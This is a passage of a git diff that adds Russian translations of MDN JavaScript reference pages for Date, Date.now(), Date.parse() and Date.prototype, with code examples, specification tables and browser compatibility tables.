+<pre class="brush: js notranslate">var today = new Date();
+var birthday = new Date('December 17, 1995 03:24:00');
+var birthday = new Date('1995-12-17T03:24:00');
+var birthday = new Date(1995, 11, 17);
+var birthday = new Date(1995, 11, 17, 3, 24, 0);
+</pre>
+
+<h3 id="Example_Two_digit_years_map_to_1900_-_1999" name="Example:_Two_digit_years_map_to_1900_-_1999">Пример: двухциферный год отображается на 1900 - 1999 года</h3>
+
+<p>Для того, чтобы создать и получить даты между 0 и 99 годом, нужно использовать методы {{jsxref("Date.prototype.setFullYear()")}} и {{jsxref("Date.prototype.getFullYear()")}}.</p>
+
+<pre class="brush: js notranslate">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+// Устаревший метод, 98 отображается на 1998 год
+date.setYear(98);           // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+date.setFullYear(98);       // Sat Feb 01 0098 00:00:00 GMT+0000 (BST)
+</pre>
+
+<h3 id="Example_Calculating_elapsed_time" name="Example:_Calculating_elapsed_time">Пример: вычисление затраченного времени</h3>
+
+<p>Следующие примеры показывают, как определить разницу во времени между двумя датами в JavaScript:</p>
+
+<pre class="brush: js notranslate">// Используя объекты Date
+var start = Date.now();
+
+// Событие, для которого замеряется время, происходит тут:
+doSomethingForALongTime();
+var end = Date.now();
+var elapsed = end - start; // затраченное время в миллисекундах
+</pre>
+
+<pre class="brush: js notranslate">// Используя встроенные методы
+var start = new Date();
+
+// Событие, для которого замеряется время, происходит тут:
+doSomethingForALongTime();
+var end = new Date();
+var elapsed = end.getTime() - start.getTime(); // затраченное время в миллисекундах
+</pre>
+
+<pre class="brush: js notranslate">// Проверяет функцию и возвращает её возвращаемое значение
+function printElapsedTime(fTest) {
+  var nStartTime = Date.now(),
+      vReturn = fTest(),
+      nEndTime = Date.now();
+
+  console.log('Затраченное время: ' + String(nEndTime - nStartTime) + ' миллисекунд');
+  return vReturn;
+}
+
+yourFunctionReturn = printElapsedTime(yourFunction);
+
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> в браузерах, поддерживающих высокое временное разрешение с помощью {{domxref("window.performance", "API замера производительности", "", 1)}}, метод {{domxref("Performance.now()")}} может обеспечить более надёжные и точные замеры затраченного времени, нежели метод {{jsxref("Date.now()")}}.</p>
+</div>
+
+<h3 id="Получить_количество_секунд_с_начало_эпохи_Unix">Получить количество секунд с начало эпохи Unix</h3>
+
+<pre class="notranslate"><code>var seconds = Math.floor(Date.now() / 1000);</code></pre>
+
+<p>В этом случае важно возвращать только целое число (так что простое деление не подойдет), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>
+    <table>
+     <tbody>
+      <tr>
+       <td>{{Spec2('ES1')}}</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9', 'Date')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date-objects', 'Date')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date-objects', 'Date')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Date", 3)}}</p>
diff --git a/files/ru/web/javascript/reference/global_objects/date/now/index.html b/files/ru/web/javascript/reference/global_objects/date/now/index.html
new file mode 100644
index 0000000000..f8e9276067
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/now/index.html
@@ -0,0 +1,78 @@
+---
+title: Date.now()
+slug: Web/JavaScript/Reference/Global_Objects/Date/now
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/now
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Date.now()</code></strong> возвращает количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>var timeInMs = Date.now();</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>now()</code> возвращает количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC по текущий момент времени в качестве {{jsxref("Global_Objects/Number", "числа", "", 1)}}.</p>
+
+<p>Поскольку метод <code>now()</code> является статическим методом объекта {{jsxref("Global_Objects/Date", "Date")}}, вы всегда должны использовать его как <code>Date.now()</code>.</p>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод был стандартизирован в ECMA-262 5-го издания. Отсутствие этого метода в движках, которые не были обновлены для его поддержки, можно обойти следующей прокладкой:</p>
+
+<pre class="brush: js">if (!Date.now) {
+  Date.now = function now() {
+    return new Date().getTime();
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.now")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Performance.now()")}} — предоставляет временные метки с разрешением в доли миллисекунд для использования при измерении производительности веб-страницы</li>
+ <li>{{domxref("console.time()")}} / {{domxref("console.timeEnd()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/parse/index.html b/files/ru/web/javascript/reference/global_objects/date/parse/index.html
new file mode 100644
index 0000000000..ce223350ef
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/parse/index.html
@@ -0,0 +1,217 @@
+---
+title: Date.parse()
+slug: Web/JavaScript/Reference/Global_Objects/Date/parse
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Date.parse()</code></strong> разбирает строковое представление даты и возвращает количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p>Прямой вызов:</p>
+
+<pre class="syntaxbox"><code>Date.parse(<var>dateString</var>)</code></pre>
+
+<p>Неявный вызов:</p>
+
+<pre class="syntaxbox"><code>new Date(<var>dateString</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>dateString</code></dt>
+ <dd>Строковое представление даты из RFC2822 (<a href="http://tools.ietf.org/html/rfc2822#page-14">на английском</a>, <a href="http://rfc2.ru/5322.rfc/print#p3.3">на русском</a>) или ISO 8601. Могут использоваться и другие форматы, но результаты в таком случае будут непредсказуемые.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>parse()</code> принимает строку с датой (например, <code>"Dec 25, 1995"</code>) и возвращает количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC. Этот метод полезен для установки значения даты из строкового значения, например, в сочетании с методом {{jsxref("Date.prototype.setTime()", "setTime()")}} о объектом {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<p>По данному строковому представлению времени метод <code>parse()</code> возвращает значение времени. Он принимает синтаксис даты из RFC2822 / IETF (RFC2822 раздел 3.3 — <a href="http://tools.ietf.org/html/rfc2822#page-14">на английском</a>, <a href="http://rfc2.ru/5322.rfc/print#p3.3">на русском</a>), например, <code>"Mon, 25 Dec 1995 13:30:00 GMT"</code>. Он понимает аббревиатуры континентальных часовых поясов США, но для общего пользования используйте смещение часовых поясов, например, <code>"Mon, 25 Dec 1995 13:30:00 +0430"</code> (4 часа 30 минут к востоку от Гринвичского меридиана). Если часовой пояс не определён и строка является форматом ISO, распозначаемым ES5, предполагается, что часовым поясом является UTC. GMT и UTC считаются эквивалентными. Местный часовой пояс используется для интерпретации аргумента в формате RFC2822 из раздела 3.3 (<a href="http://tools.ietf.org/html/rfc2822#page-14">на английском</a>, <a href="http://rfc2.ru/5322.rfc/print#p3.3">на русском</a>) (или в любом другом формате, не распознаваемым как ISO 8601 в ES5), если он не содержит информации о часовом поясе.</p>
+
+<h3 id="ECMAScript_5_ISO-8601_format_support" name="ECMAScript_5_ISO-8601_format_support">Поддержка формата ISO-8601 в ECMAScript 5</h3>
+
+<p>Строка с датой и временем может быть в формате <a href="http://www.w3.org/TR/NOTE-datetime">ISO 8601</a>. Например, могут быть переданы и разобраны строки <code>"2011-10-10"</code> (только дата) или <code>"2011-10-10T14:48:00"</code> (дата и время). Для интерпретации аргументов в формате <a href="http://www.w3.org/TR/NOTE-datetime">ISO 8601</a>, не содержащих информацию о часовом поясе, используется часовой пояс UTC.</p>
+
+<p>Хотя во время разбора строки с датой и используется спецификатор часового пояса, возвращаемое значение всегда содержит количество миллисекунд между 1 января 1970 года 00:00:00 по UTC и моментом времени, представленым аргументом.</p>
+
+<p>Поскольку метод <code>parse()</code> является статическим методом объекта {{jsxref("Global_Objects/Date", "Date")}}, вы всегда должны использовать его как <code>Date.parse()</code>.</p>
+
+<h3 id="Differences_in_assumed_time-zone" name="Differences_in_assumed_time-zone">Различия в предполагаемом часовом поясе</h3>
+
+<p>Для строки даты <code>"March 7, 2014"</code>, метод <code>parse()</code> будет предполагать местный часовой пояс, но если строка дана в формате ISO, например <code>"2014-03-07"</code>, он будет предполагать, что часовой пояс равен UTC. Поэтому объекты {{jsxref("Global_Objects/Date", "Date")}}, созданные из этих строк, если в системе местный часовой пояс не равен UTC, будут представлять разные моменты времени. Это значит, что две строки с датами, которые выглядят одинаковыми, могут дать два разных значения в зависимости от формата преобразуемой строки.</p>
+
+<h3 id="Fall-back_to_implementation-specific_date_formats" name="Fall-back_to_implementation-specific_date_formats">Откат к зависимым от реализации форматам даты</h3>
+
+<p>В спецификации ECMAScript говорится: если строка не соответствует стандартному формату, функция может откатиться к любой зависимой от реализации эвристике, либо к зависимому от реализции алгоритму разбора. Нераспознанные строки, либо даты, содержащие недопустимые значения элементов в строках формата ISO, должны при вызове <code>Date.parse()</code> возвращать {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<p>Однако, недопустимые значения в строке даты, не распознанные как формат ISO, как определено ES5 могут возвращать, а могут и не возвращать {{jsxref("Global_Objects/NaN", "NaN")}} в качестве результата, в зависимости от браузера и предоставленных значений, например:</p>
+
+<pre class="brush: js">// Строка не в формате ISO с недопустимыми значениями даты
+new Date('23/25/2014');
+</pre>
+
+<p>будет рассматриваться как местная дата 25 ноября 2015 года в Firefox 30 и как недопустимая дата в Safari 7. Однако, если строка распознана как строка в формате ISO и она содержит недопустимые значения, метод вернёт {{jsxref("Global_Objects/NaN", "NaN")}} во всех браузерах, совместимых с ES5:</p>
+
+<pre class="brush: js">// Строка в формате ISO с недопустимыми значениями даты
+new Date('2014-25-23').toISOString();
+// вернёт "RangeError: invalid date" во всех браузерах, совместимых с ES5
+</pre>
+
+<p>Реализация эвристики SpiderMonkey может быть найдена в файле <a href="http://mxr.mozilla.org/mozilla-central/source/js/src/jsdate.cpp?rev=64553c483cd1#889"><code>jsdate.cpp</code></a>. Строка <code>"10 06 2014"</code> является примером не подходящей под формат ISO и поэтому её разбор откатывается на пользовательскую подпрограмму. Так же смотрите эту <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1023155#c6">грубую схему</a> работы разбора строки.</p>
+
+<pre class="brush: js">new Date('10 06 2014');
+</pre>
+
+<p>будет рассматриваться как местная дата 6 октября 2014 года, а не 10 июня 2014 года. Другие примеры:</p>
+
+<pre class="brush: js">new Date('foo-bar 2014').toString();
+// вернёт: "Invalid Date"
+
+Date.parse('foo-bar 2014');
+// вернёт: NaN
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_parse" name="Example:_Using_parse">Пример: использование метода <code>Date.parse()</code></h3>
+
+<p>Если переменная <code>IPOdate</code> содержит существующий объект {{jsxref("Global_Objects/Date", "Date")}}, она может быть установлена в 9 августа 1995 года (по местному времени) следующим способом:</p>
+
+<pre class="brush: js">IPOdate.setTime(Date.parse('Aug 9, 1995'));</pre>
+
+<p>Ещё несколько примеров разбора нестандартных строк с датами:</p>
+
+<pre class="brush: js">Date.parse('Aug 9, 1995');</pre>
+
+<p>Вернёт <code>807937200000</code> в часовом поясе GMT-0300, и другие значения в других часовых поясах, так как поскольку строка не определяет часовой пояс и не находится в формате ISO, то часовой пояс по умолчанию равен местному часовому поясу.</p>
+
+<pre class="brush: js">Date.parse('Wed, 09 Aug 1995 00:00:00 GMT');</pre>
+
+<p>Вернёт <code>807926400000</code> вне зависимости от местного часового пояса, поскольку предоставлен спецификатор GMT (всемирное координированное время).</p>
+
+<pre class="brush: js">Date.parse('Wed, 09 Aug 1995 00:00:00');</pre>
+
+<p>Вернёт <code>807937200000</code> в часовом поясе GMT-0300, и другие значения в других часовых поясах, так как поскольку строка не определяет часовой пояс и не находится в формате ISO, то часовой пояс по умолчанию равен местному часовому поясу.</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00 GMT');</pre>
+
+<p>Вернёт <code>0</code> вне зависимости от местного часового пояса, поскольку предоставлен спецификатор GMT (всемирное координированное время).</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00');</pre>
+
+<p>Вернёт <code>14400000</code> в часовом поясе GMT-0400, и другие значения в других часовых поясах, так как поскольку строка не определяет часовой пояс и не находится в формате ISO, то используется местный часовой пояс.</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00 GMT-0400');</pre>
+
+<p>Вернёт <code>14400000</code> вне зависимости от местного часового пояса, поскольку предоставлен спецификатор GMT (всемирное координированное время).</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.2', 'Date.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Добавлен формат ISO 8601.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.parse', 'Date.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Формат ISO 8601</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckodesktop("2.0")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Формат ISO 8601</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.UTC()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/prototype/index.html b/files/ru/web/javascript/reference/global_objects/date/prototype/index.html
new file mode 100644
index 0000000000..6a3bb3c62b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/prototype/index.html
@@ -0,0 +1,228 @@
+---
+title: Date.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Date/prototype
+tags:
+  - Date
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <strong><code>Date.prototype</code></strong> представляет прототип конструктора {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Все экземпляры {{jsxref("Global_Objects/Date", "Date")}} наследуются от <code>Date.prototype</code>. Объект прототипа конструктора {{jsxref("Global_Objects/Date", "Date")}} может быть изменён для затрагивания всех экземпляров объекта {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<p>Для совместимости с вычислениями тысячелетия (другими словами, для учёта 2000 года), вы всегда должны указывать полный год; например, использовать число 1998, а не 98. Чтобы помочь вам определить полный год, JavaScript включает методы {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}, {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}}, {{jsxref("Date.prototype.getUTCFullYear()", "getUTCFullYear()")}} и {{jsxref("Date.prototype.setUTCFullYear()", "setUTCFullYear()")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>Date.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, создавшую этот экземпляр объекта. По умолчанию ей является объект {{jsxref("Global_Objects/Date", "Date")}}.</dd>
+</dl>
+
+<div>{{jsOverrides("Object", "properties", "constructor")}}</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="Getter" name="Getter">Получения значения</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.getDate()")}}</dt>
+ <dd>Возвращает день месяца (1-31) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getDay()")}}</dt>
+ <dd>Возвращает день недели (0-6) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getFullYear()")}}</dt>
+ <dd>Возвращает год (4 цифры для 4-х значного года) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getHours()")}}</dt>
+ <dd>Возвращает часы (0-23) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getMilliseconds()")}}</dt>
+ <dd>Возвращает миллисекунды (0-999) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getMinutes()")}}</dt>
+ <dd>Возвращает минуты (0-59) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getMonth()")}}</dt>
+ <dd>Возвращает месяц (0-11) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getSeconds()")}}</dt>
+ <dd>Возвращает секунды (0-59) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getTime()")}}</dt>
+ <dd>Возвращает числовое значение указанной даты как количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC (отрицательное значение для даты до этого момента).</dd>
+ <dt>{{jsxref("Date.prototype.getTimezoneOffset()")}}</dt>
+ <dd>Возвращает смещение часового пояса в минутах для текущей локали.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDate()")}}</dt>
+ <dd>Возвращает день месяца (1-31) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDay()")}}</dt>
+ <dd>Возвращает день недели (0-6) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCFullYear()")}}</dt>
+ <dd>Возвращает год (4 цифры для 4-х значного года) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCHours()")}}</dt>
+ <dd>Возвращает часы (0-23) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt>
+ <dd>Возвращает миллисекунды (0-999) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMinutes()")}}</dt>
+ <dd>Возвращает минуты (0-59) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMonth()")}}</dt>
+ <dd>Возвращает месяц (0-11) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCSeconds()")}}</dt>
+ <dd>Возвращает секунды (0-59) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.getYear()")}} {{deprecated_inline}}</dt>
+ <dd>Возвращает год (обычно 2-3 цифры) указанной даты по всемирному координированному времени. Вместо него используйте метод {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}.</dd>
+</dl>
+
+<h3 id="Setter" name="Setter">Установки значения</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.setDate()")}}</dt>
+ <dd>Устанавливает день месяца указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setFullYear()")}}</dt>
+ <dd>Устанавливает полный год (4 цифры для 4-х значного года) указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setHours()")}}</dt>
+ <dd>Устанавливает часы указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setMilliseconds()")}}</dt>
+ <dd>Устанавливает миллисекунды указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setMinutes()")}}</dt>
+ <dd>Устанавливает минуты указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setMonth()")}}</dt>
+ <dd>Устанавливает месяц указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setSeconds()")}}</dt>
+ <dd>Устанавливает секунды указанной даты по местному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setTime()")}}</dt>
+ <dd>Устанавливает объект {{jsxref("Global_Objects/Date", "Date")}} во время, представляемое количеством миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC (отрицательное значение устанавливает даты до этого момента).</dd>
+ <dt>{{jsxref("Date.prototype.setUTCDate()")}}</dt>
+ <dd>Устанавливает день месяца указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCFullYear()")}}</dt>
+ <dd>Устанавливает полный год (4 цифры для 4-х значного года) указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCHours()")}}</dt>
+ <dd>Устанавливает часы указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt>
+ <dd>Устанавливает миллисекунды указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMinutes()")}}</dt>
+ <dd>Устанавливает минуты указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMonth()")}}</dt>
+ <dd>Устанавливает месяц указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCSeconds()")}}</dt>
+ <dd>Устанавливает секунды указанной даты по всемирному координированному времени.</dd>
+ <dt>{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}</dt>
+ <dd>Устанавливает год (обычно 2-3 цифры) указанной даты по всемирному координированному времени. Вместо него используйте метод {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}}.</dd>
+</dl>
+
+<h3 id="Conversion_getter" name="Conversion_getter">Получения преобразованного значения</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.toDateString()")}}</dt>
+ <dd>Возвращает часть, содержащую только дату объекта {{jsxref("Global_Objects/Date", "Date")}} в качестве человеко-читаемой строки.</dd>
+ <dt>{{jsxref("Date.prototype.toISOString()")}}</dt>
+ <dd>Преобразует дату в строку, следуя расширенному формату ISO 8601.</dd>
+ <dt>{{jsxref("Date.prototype.toJSON()")}}</dt>
+ <dd>Возвращает строку, представляющую объект {{jsxref("Global_Objects/Date", "Date")}}, используя метод {{jsxref("Date.prototype.toISOString()", "toISOString()")}}. Предназначен для использования методом {{jsxref("JSON.stringify()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}</dt>
+ <dd>Возвращает строку, представляющую объект {{jsxref("Global_Objects/Date", "Date")}}, на основе часового пояса GMT (всемирное время). Вместо него используйте метод {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleDateString()")}}</dt>
+ <dd>Возвращает строку с датой, чьё представление зависит от системных настроек локали.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleFormat()")}} {{non-standard_inline}}</dt>
+ <dd>Преобразует дату в строку, используя строку форматирования.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleString()")}}</dt>
+ <dd>Возвращает строку, чьё представление зависит от настроек локали. Переопределяет метод {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleTimeString()")}}</dt>
+ <dd>Возвращает строку со временем, чьё представление зависит от системных настроек локали.</dd>
+ <dt>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает строковое представление исходного кода эквивалентного объекта {{jsxref("Global_Objects/Date", "Date")}}; вы можете использовать это значение для создания нового объекта. Переопределяет метод {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toString()")}}</dt>
+ <dd>Возвращает строковое представление указанного объекта {{jsxref("Global_Objects/Date", "Date")}}. Переопределяет метод {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toTimeString()")}}</dt>
+ <dd>Возвращает часть, содержащую только время объекта {{jsxref("Global_Objects/Date", "Date")}} в качестве человеко-читаемой строки.</dd>
+ <dt>{{jsxref("Date.prototype.toUTCString()")}}</dt>
+ <dd>Преобразует дату в строку, используя часовой пояс UTC.</dd>
+ <dt>{{jsxref("Date.prototype.valueOf()")}}</dt>
+ <dd>Возвращает примитивное значение объекта {{jsxref("Global_Objects/Date", "Date")}}. Переопределяет метод {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
